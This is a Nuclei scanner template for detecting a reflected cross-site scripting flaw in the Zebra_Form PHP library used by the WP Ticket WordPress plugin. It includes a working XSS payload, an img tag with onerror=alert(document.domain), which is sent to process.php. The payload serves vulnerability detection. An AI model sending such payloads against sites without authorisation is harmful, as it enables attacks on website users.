Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting

ID: wordpress-zebra-form-xss

Severity: medium

Author: madrobot

Tags: wordpress,xss,wp,wpscan,intrusive

Description

Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php.

YAML Source

id: wordpress-zebra-form-xss

info:
  name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php.
  reference:
    - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html
    - https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: wordpress,xss,wp,wpscan,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-ticket/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Ticket'
          - 'Tags:'
        condition: and

  - raw:
      - |
        POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
        Origin: null

        -----------------------------77916619616724262872902741074
        Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt"
        Content-Type: text/plain
        Test
        -----------------------------77916619616724262872902741074--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022029fcb256fceffb5e3763cc5e3267f4eb1e79930e6777ef3f7bd77a88735c892902203b6b3792d5e3ea67f190e49690862ae2a1289c2f3fd4501cd17832f905450da0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml"

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